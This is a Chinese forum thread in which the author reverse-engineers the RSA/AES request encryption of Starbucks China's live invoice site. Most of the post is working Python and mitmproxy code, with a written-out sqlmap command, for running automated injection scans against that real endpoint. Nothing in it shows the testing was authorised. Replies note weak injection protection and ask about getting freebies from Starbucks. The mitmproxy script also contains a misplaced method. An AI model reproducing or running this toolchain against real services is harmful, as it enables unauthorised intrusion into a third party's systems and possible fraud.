p0ss 发表于 2023-11-14 11:00

逆向分析星巴克前端加密逻辑,使用mitm自动改包

本帖最后由 p0ss 于 2023-11-14 16:19 编辑

分析加密逻辑
在绕过前端无限debugger后,接下来开始分析数据包的加密逻辑,请求和响应中都有data和key,肉眼可见这是加密了。


在xhr请求中下断点,在p.send处看到数据已经加密

进入这个函数,看后续的逻辑,主要是解密逻辑,解密函数de:

进入a(n),查看具体的实现:

e.setPrivateKey(r),r是rsa的私钥,获取到私钥后开始对response body中的key进行解密

e是加密前的key,r是解密后值,从r中截取3-19字符串作为aes算法的key,从r中截取23-39作为iv,对response body中的data进行解密。
利用类似的方法,可以获取加密逻辑:

s为random(16bit)的随机字符,拼接后为48bit,b.en是rsa加密算法,使用公钥进行加密,y.en是aes加密,s是key,s是iv变量。

附上相应加解密的代码:
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.Padding import pad
import base64
import requests
import os
import json

requests.packages.urllib3.disable_warnings()
os.environ['HTTPS_PROXY'] = 'http://127.0.0.1:8080'

req_rsa_keyiv="9C3867DCB3D107E57CBB995BA4238A0EAAC2EB9D6363A6B3"

headers={"Content-Type":"application/json;charset=UTF-8","sec-ch-ua":"\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36","level":"1"}

def send_request(request_url,aes_str_repeat):
    #rsa key encryption by publicKey
    key = open("publicKey.txt").read()
    pubkey = RSA.importKey(key)
    pk = PKCS1_v1_5.new(pubkey)
    encrypt_text = pk.encrypt(req_rsa_keyiv.encode())
#    print("encrypt_text: %s" %encrypt_text)
    enc_key = base64.b64encode(encrypt_text).decode("utf-8")
    print("----http post----\nrequest_enc_key: %s" %enc_key)

    ##aes encryption
    aes_key=req_rsa_keyiv
    aes_iv=req_rsa_keyiv
    aes = AES.new(aes_key.encode("utf-8"), AES.MODE_CBC, aes_iv.encode("utf-8"))
    pad_pkcs7 = pad(aes_str_repeat.encode("utf-8"), AES.block_size, style='pkcs7')
    encrypt_aes = aes.encrypt(pad_pkcs7)

    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding="utf-8")
    encrypted_text_data = encrypted_text.replace("\n", "")

    post_body='{"key":"'+enc_key+'","data":"'+str(encrypted_text_data)+'"}'
    print("request_post_body:%s \n-----http post end--------" %post_body)

    res=requests.post(url=request_url,headers=headers,data=post_body,verify=False)
    return res


def decrypt_response(response):
    if response.status_code==200:
      res_data= json.loads(response.text)
      rsa_key=res_data["key"]
      ##rsa key decryption by privateKey
      privateKey = open("privateKey.txt").read()
      enc_result = base64.b64decode(rsa_key)
      rsakey = RSA.importKey(privateKey)
      cipher = PKCS1_v1_5.new(rsakey)
      rsakey_decrypted = cipher.decrypt(enc_result, 'DecryptError').decode('utf-8')

      ##aes decryption
      response_aes_key=rsakey_decrypted
      response_aes_iv=rsakey_decrypted

      print("--------http response-----\nresponse_aes_key:%s" %response_aes_key)
      print("response_aes_iv:%s" %response_aes_iv)
      print("response data:%s" %res_data["data"])
      encrypt_text=base64.b64decode(res_data["data"])
      cipher=AES.new(key=response_aes_key.encode(),mode=AES.MODE_CBC,IV=response_aes_iv.encode())

      decrypt_text=cipher.decrypt(encrypt_text).decode("utf-8")
      pad_size = ord(decrypt_text[-1])
      decrypt_text = decrypt_text[:-pad_size]

      print("decrypt_text:%s\n--------http response end------" %decrypt_text)
    else:
      print("decryption response:Server Error!")


if __name__=="__main__":
    getMaintain_request_url="https://invoice.starbucks.com.cn/efapiao/c/maintain/get"
    for i in range(100,105):
      aes_str_repeat = '{}'
      response = send_request(getMaintain_request_url,aes_str_repeat)
      decrypt_response(response)




做完解密后,后续如果要使用类似sqlmap做自动安全检测,借助mitmproxy就可以实现。大致的思路是通过设置mitmproxy代{过}{滤}理,将sqlmap的原始请求发送到mitmproxy,mitmproxy对请求body进行操
作(计算key、data),并进行请求体封装,服务器响应后,对响应数据包进行解析,以明文形式回显到burp中。
编写mitmproxy脚本:starbucks_mitm.py
获取原始http请求body,调用enc进行body加密操作
def enc(req_rsa_keyiv,data):

    #key encryption
    key = open("publicKey.txt").read()
    pubkey = RSA.importKey(key)
    cipher = PKCS1_v1_5.new(pubkey)
    encrypt_text=cipher.encrypt(req_rsa_keyiv.encode())
    enc_key = base64.b64encode(encrypt_text).decode("utf-8")
    print("enc_key:{}".format(enc_key))

    #data encryption
    aes_key=req_rsa_keyiv
    aes_iv=req_rsa_keyiv
    aes = AES.new(aes_key.encode("utf-8"), AES.MODE_CBC, aes_iv.encode("utf-8"))
    pad_pkcs7 = pad(data.encode("utf-8"), AES.block_size, style='pkcs7')
    encrypt_aes = aes.encrypt(pad_pkcs7)

    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding="utf-8")
    encrypted_text_data = encrypted_text.replace("\n", "")

    return str(enc_key),str(encrypted_text_data)

class FilterFlow:
    def request(self, flow):
      if flow.request.url.startswith("https://invoice.starbucks.com.cn/e"):
            #print("req原始数据包: {}".format(flow.request.get_text()))
            req_data_temp = json.loads(flow.request.get_text())
            if "key" in req_data_temp:
                print("key in request!")
                return
            req_data=req_data_temp["data"]
            enc_key,enc_data = enc(req_rsa_keyiv,req_data)
            enc_json_data={"key":enc_key,"data":enc_data}
            result = json.dumps(enc_json_data)
            print("req加密数据后:{}".format(result))
            flow.request.set_text(result)


获取响应数据并进行解密,明文呈现:
def dec(key,data):
    privateKey = open("privateKey.txt").read()
    enc_result = base64.b64decode(key)
    rsakey = RSA.importKey(privateKey)
    cipher = PKCS1_v1_5.new(rsakey)
    rsakey_decrypted = cipher.decrypt(enc_result, 'DecryptError').decode('utf-8')

    response_aes_key = rsakey_decrypted
    response_aes_iv = rsakey_decrypted

    encrypt_text = base64.b64decode(data)
    cipher = AES.new(key=response_aes_key.encode(), mode=AES.MODE_CBC, IV=response_aes_iv.encode())

    decrypt_text = cipher.decrypt(encrypt_text).decode("utf-8")
    pad_size = ord(decrypt_text[-1])
    decrypt_text = decrypt_text[:-pad_size]

    result={"key":rsakey_decrypted,"data":decrypt_text}
    #result = {"data": decrypt_text}
    #print("dec result"+str(result))
    return result

    def response(self, flow:HTTPFlow):
      if flow.request.url.startswith("https://invoice.starbucks.com.cn/e"):
            print("res原始数据包: {}".format(flow.response.get_text()))
            resp=flow.response.get_text()
            data=json.loads(resp)
            key=data["key"]
            data=data["data"]
            result=dec(key,data)
            flow.response.set_text(json.dumps(result))


准备好后,接下来需要运行starbucks_mitm.py,将会在本地新增9000监听端口
mitmdump -p 9090 -s .\starbucks_mitm.py --ssl-insecure

设置burp的upstream代{过}{滤}理


接下来在burp中正常发送明文数据就可以了:


在调试界面可以看到,实际发送给服务器的数据是下面这个样子:


相应的,把这个数据包保存起来,通过以下方式就可以把sqlmap的扫描流量导入过来:
python sqlmap.py -r 11.txt --batch --proxy=http://127.0.0.1:8080
效果图如下:



资料参考:https://www.freebuf.com/articles/web/360596.html
辅助工具:https://the-x.cn/cryptography/Aes.aspx

MonkeyLee 发表于 2023-11-15 18:43

前端js混淆、加密处理起来也许会稍微麻烦一些,后端这种基础的注入都没有做防护,该打板子{:301_1005:}

lookfeiji 发表于 2023-11-14 16:50

给大佬磕一个,跟着大佬们学js逆向

deep1ndreams 发表于 2023-11-14 19:03

支持支持,感谢

lay1L 发表于 2023-11-14 23:40

学习了,感谢。

Sanyoku 发表于 2023-11-15 00:48

学习了,感谢分享。

aAChengYay 发表于 2023-11-15 09:16

干货,感谢分享!

sakura485586 发表于 2023-11-15 11:01

感谢分享!{:1_893:}

fuvenusck 发表于 2023-11-15 11:24

这个看着挺实用的,可以薅星巴克的羊毛吗

2xasqw 发表于 2023-11-15 11:35

感谢分享,很强大{:1_927:}

索马里的海贼 发表于 2023-11-15 15:45

接下来可以干什么呢
页: [1] 2 3
查看完整版本: 逆向分析星巴克前端加密逻辑,使用mitm自动改包